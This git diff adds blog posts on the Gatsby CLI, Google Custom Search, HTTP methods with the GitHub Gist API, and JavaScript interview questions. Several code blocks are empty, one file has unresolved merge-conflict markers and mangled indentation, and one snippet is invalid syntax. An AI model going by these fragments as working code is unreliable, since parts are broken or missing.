+  ◯ Add page meta tags with React Helmet
+  ◯ Add an automatic sitemap
+  ◯ Enable offline functionality
+  ◯ Generate a manifest file
+  ◯ Add Markdown support (without MDX)
+  ◯ Add Markdown and MDX support
+```
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#creating-a-site-from-a-starter)Creating a site from a starter
+
+To create a site from a starter instead, run the command with your site name and starter URL:
+
+```consoleell
+gatsby new [<site-name> [<starter-url>]]
+```
+
+Note that this will not prompt you to create a custom setup, but only clone the starter from the URL you specified.
+
+##### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#arguments)Arguments
+
+| Argument    | Description                                                                                                                                                                                                                      |
+| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| site-name   | Your Gatsby site name, which is also used to create a project directory.                                                                                                                                                         |
+| starter-url | A Gatsby starter URL or local file path. Defaults to [gatsby-starter-default](https://github.com/gatsbyjs/gatsby-starter-default); see the [Gatsby starters](https://www.gatsbyjs.com/docs/starters/) docs for more information. |
+
+> Note: The `site-name` should only consist of letters and numbers. If you specify a `.`, `./` or a `<space>` in the name, `gatsby new` will throw an error.
+
+##### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#examples)Examples
+
+-   Create a Gatsby site named `my-awesome-site` using the default starter:
+
+```consoleell
+gatsby new my-awesome-site
+
+```
+
+-   Create a Gatsby site named `my-awesome-blog-site`, using [gatsby-starter-blog](https://www.gatsbyjs.com/starters/gatsbyjs/gatsby-starter-blog/):
+
+```consoleell
+gatsby new my-awesome-blog-site https://github.com/gatsbyjs/gatsby-starter-blog
+```
+
+See the [Gatsby starters docs](https://www.gatsbyjs.com/docs/starters/) for more details.
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#develop)`develop`
+
+Once you’ve installed a Gatsby site, go to the root directory of your project and start the development server:
+
+`gatsby develop`
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#options)Options
+
+| Option          | Description                                     |
+| --------------- | ----------------------------------------------- |
+| `-H`, `--host`  | Set host. Defaults to localhost                 |
+| `-p`, `--port`  | Set port. Defaults to env.PORT or 8000          |
+| `-o`, `--open`  | Open the site in your (default) browser for you |
+| `-S`, `--https` | Use HTTPS                                       |
+| `--inspect`     | Opens a port for debugging                      |
+
+Follow the [Local HTTPS guide](https://www.gatsbyjs.com/docs/local-https/) to find out how you can set up an HTTPS development server using Gatsby.
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#preview-changes-on-other-devices)Preview changes on other devices
+
+You can use the Gatsby develop command with the host option to access your dev environment on other devices on the same network, run:
+
+```consoleell
+gatsby develop -H 0.0.0.0
+```
+
+Then the terminal will log information as usual, but will additionally include a URL that you can navigate to from a client on the same network to see how the site renders.
+
+```consoleell
+You can now view gatsbyjs.com in the browser.
+⠀
+  Local:            http://0.0.0.0:8000/
+  On Your Network:  http://192.168.0.212:8000/
+```
+
+**Note**: To access Gatsby on your local machine, use either `http://localhost:8000` or the “On Your Network” URL.
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#build)`build`
+
+At the root of a Gatsby site, compile your application and make it ready for deployment:
+
+`gatsby build`
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#options-1)Options
+
+| Option                       | Description                                                                                                                                                          |
+| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `--prefix-paths`             | Build site with link paths prefixed (set pathPrefix in your config)                                                                                                  |
+| `--no-uglify`                | Build site without uglifying JS bundles (for debugging)                                                                                                              |
+| `--profile`                  | Build site with react profiling. See [Profiling Site Performance with React Profiler](https://www.gatsbyjs.com/docs/profiling-site-performance-with-react-profiler/) |
+| `--open-tracing-config-file` | Tracer configuration file (OpenTracing compatible). See [Performance Tracing](https://www.gatsbyjs.com/docs/performance-tracing/)                                    |
+| `--graphql-tracing`          | Trace (see above) every graphql resolver, may have performance implications.                                                                                         |
+| `--no-color`, `--no-colors`  | Disables colored terminal output                                                                                                                                     |
+
+In addition to these build options, there are some optional [build environment variables](https://www.gatsbyjs.com/docs/how-to/local-development/environment-variables/#build-variables) for more advanced configurations that can adjust how a build runs. For example, setting `CI=true` as an environment variable will tailor output for [dumb terminals](https://en.wikipedia.org/wiki/Computer_terminal#Dumb_terminals).
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#serve)`serve`
+
+At the root of a Gatsby site, serve the production build of your site for testing:
+
+`gatsby serve`
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#options-2)Options
+
+| Option           | Description                                                                              |
+| ---------------- | ---------------------------------------------------------------------------------------- |
+| `-H`, `--host`   | Set host. Defaults to localhost                                                          |
+| `-p`, `--port`   | Set port. Defaults to 9000                                                               |
+| `-o`, `--open`   | Open the site in your (default) browser for you                                          |
+| `--prefix-paths` | Serve site with link paths prefixed (if built with pathPrefix in your gatsby-config.js). |
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#info)`info`
+
+At the root of a Gatsby site, get helpful environment information which will be required when reporting a bug:
+
+`gatsby info`
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#options-3)Options
+
+| Option              | Description                                             |
+| ------------------- | ------------------------------------------------------- |
+| `-C`, `--clipboard` | Automagically copy environment information to clipboard |
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#clean)`clean`
+
+At the root of a Gatsby site, wipe out the cache (`.cache` folder) and public directories:
+
+`gatsby clean`
+
+This is useful as a last resort when your local project seems to have issues or content does not seem to be refreshing. Issues this may fix commonly include:
+
+-   Stale data, e.g. this file/resource/etc. isn’t appearing
+-   GraphQL error, e.g. this GraphQL resource should be present but is not
+-   Dependency issues, e.g. invalid version, cryptic errors in console, etc.
+-   Plugin issues, e.g. developing a local plugin and changes don’t seem to be taking effect
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#plugin)`plugin`
+
+Run commands pertaining to gatsby plugins.
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#docs)`docs`
+
+`gatsby plugin docs`
+
+Directs you to documentation about using and creating plugins.
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#repl)Repl
+
+Get a Node.js REPL (interactive shell) with context of your Gatsby environment:
+
+`gatsby repl`
+
+Gatsby will prompt you to type in commands and explore. When it shows this: `gatsby >`
+
+You can type in a command, such as one of these:
+
+`babelrc`
+
+`components`
+
+`dataPaths`
+
+`getNodes()`
+
+`nodes`
+
+`pages`
+
+`schema`
+
+`siteConfig`
+
+`staticQueries`
+
+When combined with the [GraphQL explorer](https://www.gatsbyjs.com/docs/how-to/querying-data/running-queries-with-graphiql/), these REPL commands could be very helpful for understanding your Gatsby site’s data.
+
+For more information, check out the [Gatsby REPL documentation](https://www.gatsbyjs.com/docs/gatsby-repl/).
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#disabling-colored-output)Disabling colored output
+
+In addition to the explicit `--no-color` option, the CLI respects the presence of the `NO_COLOR` environment variable (see [no-color.org](https://no-color.org/)).
+
+## [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#how-to-change-your-default-package-manager-for-your-next-project)How to change your default package manager for your next project?
+
+When you use `gatsby new` for the first time to create a new project, you are asked to choose your default package manager between yarn and npm.
+
+```consoleell
+Which package manager would you like to use ? › - Use arrow-keys. Return to submit.
+❯  yarn
+   npm
+```
+
+Once you’ve made your choice, the CLI won’t ask for your preference again for any subsequent project.
+
+If you want to change this for your next project you have to edit the config file created automatically by the CLI. This file is available on your system at: `~/.config/gatsby/config.json`
+
+In it you’re going to see something like this.
+
+config.json
+
+```js
+//on
+{
+    "cli": {
+        "packageManager": "yarn"
+    }
+}
+```
+
+Edit your `packageManager` value, save and you’re good to go for your next project using `gatsby new`.
+
+<!--EndFragment-->
diff --git a/src/pages/blog/google-custom-search.md b/src/pages/blog/google-custom-search.md
new file mode 100644
index 0000000000..6abc89c943
--- /dev/null
+++ b/src/pages/blog/google-custom-search.md
@@ -0,0 +1,68 @@
+---
+title: Google Custom Search
+template: post
+subtitle: Google search
+excerpt: Google
+date: 2022-06-06T20:55:39.767Z
+image: /blog/wartime-blog-cover-art-modified.png
+thumb_image: /blog/wartime-blog-cover-art-modified.png
+image_position: right
+author: src/data/authors/backup.yaml
+show_author_bio: true
+cmseditable: true
+---
+
+# Adding Google Custom Search to your Website | Solodev
+
+> If you're Looking to Add Search Functionality to your Website, Learn How to Harness the Power of Google to Create Custom Searches
+
+**_Implementing Google Custom Search is as easy as registering your website with Google and letting our code do the rest. This article provides the code and styles you need to implement custom search on your website. Enjoy!_**
+
+It's imperative your users have a reliable and easy method for finding your content. What better way to achieve this than including search powered by Google? But simply adding the default code provided by Google leaves your site's search lacking. While the functionality is there, the professional styling expected on websites today is notably absent. The tutorial below solves this dilemma, merging the powerful functionality of Google Custom Search with a sleekdesign.
+
+In [Solodev](https://www.solodev.com/), implementing Google Custom Search is as easy as registering your website with Google and adding a shortcode. For other websites, we've included a pure HTML tutorial which is CMS neutral and will work on websites of all varieties.
+
+Below is all the code you need to implement custom search on your website.
+
+## [](https://github.localhost/#step-1)Step 1
+
+Copy and paste the HTML or Solodev Shortcode where you would like your search form to populate and [register your website with Google](http://cse.google.com/).
+
+-   [HTML](https://github.localhost/#code1)
+-   [Solodev Shortcode](https://github.localhost/#code2)
+
+---
+
+## [](https://github.localhost/#step-2)Step 2
+
+Download the JavaScript below and include it in your web page.
+
+google-custom-search.js
+
+---
+
+## [](https://github.localhost/#step-3---includes)Step 3 - Includes
+
+Include the following JavaScript in your HTML document.
+
+---
+
+## [](https://github.localhost/#step-4---google-custom-search)Step 4 - Google Custom Search
+
+Download the CSS below and include it in your web page
+
+google-custom-search.css
+
+---
+
+## [](https://github.localhost/#step-5---includes)Step 5 - Includes
+
+Add the following includes to the header of your HTML file (or Solodev Shortcode Repeater file).
+
+## [](https://github.localhost/#an-example-of-a-search-results-page-which-will-appear-via-ajax-is-shown-below)An example of a search results page, which will appear via AJAX, is shown below.
+
+[![Search Page Example]()]()
+
+With just a few lines of code you have provided site visitors the ability to search your entire site using the power of Google (and the help of Solodev) - Enjoy!
+
+[Source](https://www.solodev.com/blog/web-design/adding-google-custom-search-to-your-website.stml)
diff --git a/src/pages/blog/hoisting.md b/src/pages/blog/hoisting.md
index 4155087df7..d28a57b4f1 100644
--- a/src/pages/blog/hoisting.md
+++ b/src/pages/blog/hoisting.md
@@ -10,7 +10,7 @@ seo:
     robots: []
     extra: []
 template: post
-thumb_image: https://www.tutorialsteacher.com/Content/images/js/hoisting.png
+thumb_image: images/https://www.tutorialsteacher.com/Content/images/js/hoisting.png
 ---
 
 Understanding [hoisting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting) will help you organize your function scope. Just remember, variable declarations and function definitions are hoisted to the top. Variable definitions are not, even if you declare and define a variable on the same line. Also, a variable **declaration** lets the system know that the variable exists while **definition** assigns it a value.
@@ -19,6 +19,7 @@ Understanding [hoisting](https://developer.mozilla.org/en-US/docs/Web/JavaScript
 
 
 ```js
+//
 
 
 function doTheThing() {
diff --git a/src/pages/blog/htt-requests.md b/src/pages/blog/htt-requests.md
new file mode 100644
index 0000000000..e30f8dfab0
--- /dev/null
+++ b/src/pages/blog/htt-requests.md
@@ -0,0 +1,349 @@
+---
+title: HTTP Requests
+template: post
+subtitle: What is HTTP
+excerpt: HTTP is a protocol, or a definite set of rules, for accessing resources
+    on the web.
+date: 2022-04-20T06:40:21.724Z
+image: https://imgs.search.brave.com/kExsXbNFftb4VTNT_HgQPhZoB3XYYEedZSJTB-Sqhk4/rs:fit:1200:622:1/g:ce/aHR0cDovL2J5dGVz/b2ZnaWdhYnl0ZXMu/Y29tL0lNQUdFUy9O/ZXR3b3JraW5nL0hU/VFBjb21tdW5jYXRp/b24vaHR0cCUyMGNv/bW11bmljYXRpb24u/cG5n
+thumb_image: https://imgs.search.brave.com/kExsXbNFftb4VTNT_HgQPhZoB3XYYEedZSJTB-Sqhk4/rs:fit:1200:622:1/g:ce/aHR0cDovL2J5dGVz/b2ZnaWdhYnl0ZXMu/Y29tL0lNQUdFUy9O/ZXR3b3JraW5nL0hU/VFBjb21tdW5jYXRp/b24vaHR0cCUyMGNv/bW11bmljYXRpb24u/cG5n
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+    - src/data/categories/html.yaml
+    - src/data/categories/google.yaml
+    - src/data/categories/git.yaml
+tags:
+    - src/data/tags/links.yaml
+    - src/data/tags/resources.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/using-the-dom.md
+cmseditable: true
+---
+
+<!--StartFragment-->
+
+## What is HTTP?
+
+HTTP is a protocol, or a definite set of rules, for accessing resources on the web. Resources could mean anything from HTML files to data from a database, photos, text, and so on.
+
+These resources are made available to us via an `API` and we make requests to these APIs via the HTTP protocol. `API` stands for application programming interface. It is the mechanism that allows developers to request resources.
+
+### Client-Server Architecture
+
+In order to understand the HTTP methods, it’s important to cover the concept of client/server architecture. This architecture describes how all web applications work and defines the rules for how they communicate.
+
+A client application is the one that a user is actually interacting with, that's displaying the content. A server application is the one that sends the content, or resource, to your client application. A server application is a program that is running somewhere, listening, and waiting for a request.
+
+The main reason for this separation is to secure sensitive information. Your entire client application gets downloaded into the browser, and all of the data can be accessed by anyone accessing your web page.
+
+This architecture helps protect things like your API keys, personal data, and more. Now modern tools like [Next.js](https://nextjs.org/) and [Netlify](https://www.netlify.com/) allow developers to run server code in the same app as their client app, without needing a dedicated server application.
+
+### Client-Server Communication
+
+Client and server applications communicate by sending individual messages on an as-needed basis, rather than an ongoing stream of communication.
+
+These communications are almost always initiated by clients in the form of requests. These requests are fulfilled by the server application which sends back a response containing the resource you requested, among other things.
+
+### Why We Need A Server-Client Architecture
+
+Let’s say you were building a weather web app, for example. The weather app that your user is going to interact with is the client application – it has buttons, a search bar, and displays data like city name, current temperature, AQI, and so on.
+
+This weather app wouldn’t have every city and its weather information coded directly into it. This would make the app bloated and slow, would take forever to research and manually add to a database, and would be a headache to update every single day.
+
+Instead, the app can access weather data by city using the Weather web API. Your app would gather your user’s location and then make a request to the server saying, “Hey, send me the weather information for this specific city.”
+
+Depending on what you are trying to achieve, you would use the various request methods that are available. The server sends back a response containing the weather information and a few other things, depending on how the API is written. It may also send back things like a timestamp, the region this city is located in, and more.
+
+Your client application communicated with a server application running somewhere, whose only job is to listen continuously for a request to that address. When it receives a request, it works to fulfill that request either by reading from a database, another API, local file, or a programmatic calculation based on data you pass in.
+
+### The Anatomy of an HTTP Request
+
+An HTTP request must have the following:
+
+-   An HTTP method (like `GET`)
+-   A host URL (like `https://api.spotify.com/`)
+-   An endpoint path(like `v1/artists/{id}/related-artists`)
+
+A request can also optionally have:
+
+-   Body
+-   Headers
+-   Query strings
+-   HTTP version
+
+### The Anatomy of an HTTP Response
+
+A response must have the following:
+
+-   Protocol version (like `HTTP/1.1`)
+-   Status code (like `200`)
+-   Status text (`OK`)
+-   Headers
+
+A response may also optionally have:
+
+-   Body
+
+## HTTP Methods Explained
+
+[Twitter Tweet](https://platform.twitter.com/embed/Tweet.html?creatorScreenName=camiinthisthang&dnt=false&embedId=twitter-widget-0&features=eyJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3NwYWNlX2NhcmQiOnsiYnVja2V0Ijoib2ZmIiwidmVyc2lvbiI6bnVsbH19&frame=false&hideCard=false&hideThread=false&id=1195350262145306624&lang=en&origin=https%3A%2F%2Fwww.freecodecamp.org%2Fnews%2Fhttp-request-methods-explained%2F&sessionId=a9192d5918ed5d41ccd0f351fa6e3fff5a8333ab&siteScreenName=freecodecamp&theme=light&widgetsVersion=c8fe9736dd6fb%3A1649830956492&width=550px)
+
+Now that we know what HTTP is and why it’s used, let’s talk about the different methods we have available to us.
+
+In the weather app example above, we wanted to retrieve weather information about a city. But what if we wanted to submit weather information for a city?
+
+In real life, you probably wouldn’t have permissions to alter someone else’s data, but let’s imagine that we are contributors to a community-run weather app. And in addition to getting the weather information from an API, members in that city could update this information to display more accurate data.
+
+Or what if we wanted to add a new city altogether that, for some reason, doesn’t already exist in our database of cities? These are all different functions – retrieve data, update data, create new data – and there are HTTP methods for all of these.
+
+### HTTP POST request
+
+We use `POST` to create a new resource. A `POST` request requires a body in which you define the data of the entity to be created.
+
+A successful POST request would be a 200 response code. In our weather app, we could use a POST method to add weather data about a new city.
+
+### HTTP GET request
+
+We use `GET` to read or retrieve a resource. A successful `GET` returns a response containing the information you requested.
+
+In our weather app, we could use a GET to retrieve the current weather for a specific city.
+
+### HTTP PUT request
+
+We use `PUT` to modify a resource. `PUT` updates the entire resource with data that is passed in the body payload. If there is no resource that matches the request, it will create a new resource.
+
+In our weather app, we could use `PUT` to update all weather data about a specific city.
+
+### HTTP PATCH request
+
+We use `PATCH` to modify a part of a resource. With `PATCH`, you only need to pass in the data that you want to update.
+
+In our weather app, we could use `PATCH` to update the rainfall for a specified day in a specified city.
+
+### HTTP DELETE request
+
+We use `DELETE` to delete a resource. In our weather app, we could use `DELETE` to delete a city we no longer wanted to track for some reason.
+
+## HTTP Method FAQs
+
+### What’s the difference between PUT and POST?
+
+`PUT` requests are idempotent, meaning that executing the same `PUT` request will always produce the same result.
+
+On the other hand, a `POST` will produce different outcomes. If you execute a `POST` request multiple times, you'll create a new resource multiple times despite them having the same data being passed in.
+
+Using a restaurant analogy, `POST`ing multiple times would create multiple separate orders, whereas multiple `PUT` requests will update the same existing order.
+
+### What’s the difference between PUT and PATCH?
+
+The key differences are that `PUT` will create a new resource if it cannot find the specified resource. And with `PUT` you need to pass in data to update the entire resource, even if you only want to modify one field.
+
+With `PATCH`, you can update part of a resource by simply passing in the data of the field to be updated.
+
+### What if I just want to update part of my resource? Can I still use PUT?
+
+If you just want to update part of your resource, you still need to send in data for the entire resource when you make a `PUT` request. The better-suited option here would be `PATCH`.
+
+### Why is a body optional for a request and response?
+
+A body is optional because for some requests, like resource retrievals using the `GET` method, there is nothing to specify in the body of your request. You are requesting all data from the specified endpoint.
+
+Similarly, a body is optional for some responses when a status code is sufficient or there is nothing to specify in the body, for example with a `DELETE` operation.
+
+## HTTP Request Examples
+
+Now that we’ve covered what an HTTP request is, and why we use them, let’s make some requests! We’re going to be playing with the [GitHub Gist API](https://docs.github.com/en/rest/reference/gists).
+
+> "Gist is a simple way to share snippets and pastes with others. All Gists are Git repositories, so they are automatically versioned, forkable and usable from Git." (Source: Github)
+
+You will need a GitHub account for this. If you don’t already have one, this is a great opportunity to start one to save your code in the future.
+
+Every user on GitHub can create gists, retrieve their gists, retrieve all public gists, delete a gist, and update a gist, amongst other things. To keep things simple we will use [Hoppscotch](https://hoppscotch.io/), a platform with a nice interface used to quickly and easily make HTTP requests.
+
+A quick Hoppscotch walkthrough:
+
+-   There is a drop down menu where you can select the method you want to create a request with.
+-   There is a text box where you should paste the URL of of the API endpoint you want to access.
+
+![Screen-Shot-2022-01-24-at-12.35.33-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-12.35.33-PM.png)
+
+-   There is a Headers section where we will be passing in headers as instructed by the GitHub docs.
+
+![Screen-Shot-2022-01-24-at-12.39.38-PM-1](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-12.39.38-PM-1.png)
+
+-   There is a body area where we will pass in content to our body as instructed by the GitHub docs.
+
+![Screen-Shot-2022-01-24-at-12.41.14-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-12.41.14-PM.png)
+
+-   The right column will quickly let you know if your request was successful. If it is green, you successfully made your request, and if it's red there was an error.
+
+![Screen-Shot-2022-01-24-at-3.44.56-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-3.44.56-PM.png)
+
+### How to Make a GET Request
+
+To make a `GET` request to retrieve all of a specific users’ gists, we can use the following method and endpoint: `GET /users/{username}/gists`. The documentation tells us the parameters that we can pass in to make this request.
+
+We see that in the path we have to pass in a string with the target user’s username. We also see that we have to pass in a header called accept and set it to `application/vnd.github.v3+json`.
+
+![Screen-Shot-2022-01-20-at-2.01.35-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-2.01.35-PM.png)
+
+We're given the URL for this API:
+
+```consoleell
+
+```
+
+We're given the endpoint path for this specific operation:
+
+```
+
+```
+
+To make this request:
+
+1. Paste in the full URL + path in the input field of Hoppscotch. Be sure to replace `username` with an actual username. If you don't have a GitHub with existing Gists, you can use mine: camiinthisthang.
+2. Select the `GET` request method
+3. In the Headers tab, set accept as a header and set the value to `application/vnd.github.v3+json`
+
+![Screen-Shot-2022-01-24-at-12.39.38-PM-2](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-12.39.38-PM-2.png)
+
+4.  Hit send!
+
+At the bottom, you'll see your response formatted as `JSON`. In order to read this more clearly, copy the response and paste it into an [online JSON formatter](https://jsonformatter.curiousconcept.com/#).
+
+In the formatter, you're able to tell that the response is an array of objects. Each object represents one gist, showing us information like the URL, the ID, etc.
+
+### How to Make a POST Request
+
+Now let's create a resource using the `POST` method. In this context, the new resource would be a new gist.
+
+First we’ll have to create a personal access token. To do that, [go to your settings page](https://github.com/settings/tokens) and hit Generate token.
+
+Name your token and select the scope “Create Gists”:
+
+![Screen-Shot-2022-01-20-at-2.59.11-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-2.59.11-PM.png)
+
+Then click the green `Generate token` button at the bottom of the page.
+
+![Screen-Shot-2022-01-20-at-3.28.01-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-3.28.01-PM.png)
+
+Copy your access code and paste it somewhere you can easily retrieve it.
+
+Now we're ready to make our request! The documentation tells us we should pass in a header, and a `files` object in the body. We can optionally pass in a few other things, including a boolean that dictates if this gist is public or private.
+
+![Screen-Shot-2022-01-20-at-2.07.23-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-2.07.23-PM.png)
+
+We're given the URL for this API:
+
+```consoleell
+
+```
+
+We're given the endpoint path for this specific operation:
+
+```
+
+```
+
+To make this request:
+
+1. Paste the full URL + path into the input field of Hoppscotch.
+2. Select the `POST` request method
+3. In the Headers tab, set accept as a header and set the value to `application/vnd.github.v3+json`
+4. In the Body tab, set the content type to `application/json`. Then start off with an object `{}`.\
+   \
+   Inside of this object, we'll set the public `boolean` to `true`. Then we'll define the property `files`, and the value is another object with a key of the name of your new gist. The value for this should be another object whose key is `content`. The value here should be whatever you want to actually add to the gist.\
+   \
+   Here is the code for you to copy/paste:
+
+```javascript
+
+```
+
+![Screen-Shot-2022-01-24-at-2.35.57-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-2.35.57-PM.png)
+
+5.  In the Authorization tab, set the authorization type to `Basic Auth`. Type in your Github username and pass your personal access token we created in the password field.
+
+After we run this, we get a long response. An easy way to check that your gist was created is to go to your Gists in GitHub.
+
+![Screen-Shot-2022-01-24-at-2.39.27-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-2.39.27-PM.png)
+
+We see that we successfully added a Gist!
+
+![Screen-Shot-2022-01-24-at-2.39.58-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-2.39.58-PM.png)
+
+### How to Make a PATCH Request
+
+Let's update the title and description of the Gist we just created. Remember: `PATCH` allows you to update a part of a resource, not the entire resource. Anything that we don’t pass in will remain unchanged.
+
+We didn’t actually pass a description to our Gist when we created it, so we can patch this and create one.
+
+![Screen-Shot-2022-01-20-at-3.35.56-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-3.35.56-PM.png)
+
+We're given the URL for this API:
+
+```consoleell
+
+```
+
+We're given the endpoint path for this specific operation:
+
+```
+
+```
+
+To make this request:
+
+1. Paste in the full URL + path in the input field of Hoppscotch. Get the `Gist ID` of the gist you want to update. You can find the ID by going to the Gist in GitHub and copying the alphanumeric string at the end of the URL.
+
+![Screen-Shot-2022-01-20-at-3.50.13-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-3.50.13-PM.png)
+
+2.  Select the `PATCH` request method.
+
+3.  In the Headers tab, set accept as a header and set the value to `application/vnd.github.v3+json`.
+
+4.  In the Authorization tab, set the authorization type to `Basic Auth`. Type in your GitHub username and pass your personal access token we created in the password field.
+
+5.  In the Body tab, we'll pass in the updated description and title. Here is the code:
+
+```javascript
+
+```
+
+If we refresh our Gist, we see that we have an updated title and description!
+
+![Screen-Shot-2022-01-24-at-3.38.35-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-3.38.35-PM.png)
+
+### How to Make a DELTE Request
+
+Let's delete the Gist we created. We should pass in the header and the Gist ID.
+
+![Screen-Shot-2022-01-24-at-3.42.30-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-24-at-3.42.30-PM.png)
+
+We're given the URL for this API:
+
+```consoleell
+
+```
+
+We're given the endpoint path for this specific operation:
+
+```
+
+```
+
+To make this request:
+
+1. Paste in the full URL + path in the input field of Hoppscotch. Get the `Gist ID` of the gist you want to update. You can find the ID by going to the Gist in GitHub and copying the alphanumeric string at the end of the URL.
+
+![Screen-Shot-2022-01-20-at-3.50.13-PM](https://www.freecodecamp.org/news/content/images/2022/01/Screen-Shot-2022-01-20-at-3.50.13-PM.png)
+
+2.  Select the `DELETE` request method
+
+3.  In the Headers tab, set accept as a header and set the value to `application/vnd.github.v3+json`.
+
+If we navigate to our Gists, we see that this one doesn't exist and we successfully deleted the resource.
+
+<!--EndFragment-->
diff --git a/src/pages/blog/interview-questions-js-p2.md b/src/pages/blog/interview-questions-js-p2.md
index b177818f82..b97e6130d5 100644
--- a/src/pages/blog/interview-questions-js-p2.md
+++ b/src/pages/blog/interview-questions-js-p2.md
@@ -28,6 +28,7 @@ image: images/js-questions-n-answers.png
 
 ## Javascript Interview Questions
 
+<<<<<<< HEAD
 1. What are the possible ways to create objects in JavaScript
 
     There are many ways to create objects in javascript as below
@@ -124,6 +125,125 @@ image: images/js-questions-n-answers.png
         ```
 
 2. What is a prototype chain
+=======
+1.  What are the possible ways to create objects in JavaScript
+
+        There are many ways to create objects in javascript as below
+
+        1. **Object constructor:**
+
+            The simplest way to create an empty object is using the Object constructor. Currently this approach is not recommended.
+
+            ```js
+
+    //
+    var object = new Object();
+
+    ````
+
+        2. **Object's create method:**
+
+            The create method of Object creates a new object by passing the prototype object as a parameter
+
+            ```js
+
+    //
+    var object = Object.create(null);
+    ````
+
+        3. **Object literal syntax:**
+
+            The object literal syntax is equivalent to create method when it passes null as parameter
+
+            ```js
+
+    //
+    var object = {};
+
+    ````
+
+        4. **Function constructor:**
+
+            Create any function and apply the new operator to create object instances,
+
+            ```js
+
+    //
+    function Person(name) {
+    this.name = name;
+    this.age = 21;
+    }
+    var object = new Person('Sudheer');
+    ````
+
+        5. **Function constructor with prototype:**
+
+            This is similar to function constructor but it uses prototype for their properties and methods,
+
+            ```js
+
+    //
+    function Person() {}
+    Person.prototype.name = 'Sudheer';
+    var object = new Person();
+
+    ````
+
+            This is equivalent to an instance created with an object create method with a function prototype and then call that function with an instance and parameters as arguments.
+
+            ```js
+
+    //
+    function func {};
+
+            new func(x, y, z);
+            ```
+
+            **(OR)**
+
+            ```js
+
+    //
+    // Create a new instance using function prototype.
+    var newInstance = Object.create(func.prototype)
+
+            // Call the function
+            var result = func.call(newInstance, x, y, z),
+
+            // If the result is a non-null object then use it otherwise just use the new instance.
+            console.log(result && typeof result === 'object' ? result : newInstance);
+            ```
+
+        6. **ES6 Class syntax:**
+
+            ES6 introduces class feature to create the objects
+
+            ```js
+
+    //
+    class Person {
+    constructor(name) {
+    this.name = name;
+    }
+    }
+
+            var object = new Person('Sudheer');
+            ```
+
+        7. **Singleton pattern:**
+
+            A Singleton is an object which can only be instantiated one time. Repeated calls to its constructor return the same instance and this way one can ensure that they don't accidentally create multiple instances.
+
+            ```js
+
+    //
+    var object = new (function () {
+    this.name = 'Sudheer';
+    })();
+    ````
+
+2.  What is a prototype chain
+>>>>>>> master
 
     **Prototype chaining** is used to build new types of objects based on existing ones. It is similar to inheritance in a class based language.
 
@@ -131,6 +251,7 @@ image: images/js-questions-n-answers.png
 
     ![Screenshot](images/prototype_chain.png)
 
+<<<<<<< HEAD
 3. What is the difference between Call, Apply and Bind
 
     The difference between Call, Apply and Bind can be explained with below examples,
@@ -206,10 +327,101 @@ image: images/js-questions-n-answers.png
     Some of the examples of this method are,
 
     ```js
+=======
+3.  What is the difference between Call, Apply and Bind
+
+        The difference between Call, Apply and Bind can be explained with below examples,
+
+        **Call:** The call() method invokes a function with a given `this` value and arguments provided one by one
+
+        ```js
+
+    //
+    var employee1 = { firstName: 'John', lastName: 'Rodson' };
+    var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
+
+        function invite(greeting1, greeting2) {
+            console.log(greeting1 + ' ' + this.firstName + ' ' + this.lastName + ', ' + greeting2);
+        }
+
+        invite.call(employee1, 'Hello', 'How are you?'); // Hello John Rodson, How are you?
+        invite.call(employee2, 'Hello', 'How are you?'); // Hello Jimmy Baily, How are you?
+        ```
+
+        **Apply:** Invokes the function with a given `this` value and allows you to pass in arguments as an array
+
+        ```js
+
+    //
+    var employee1 = { firstName: 'John', lastName: 'Rodson' };
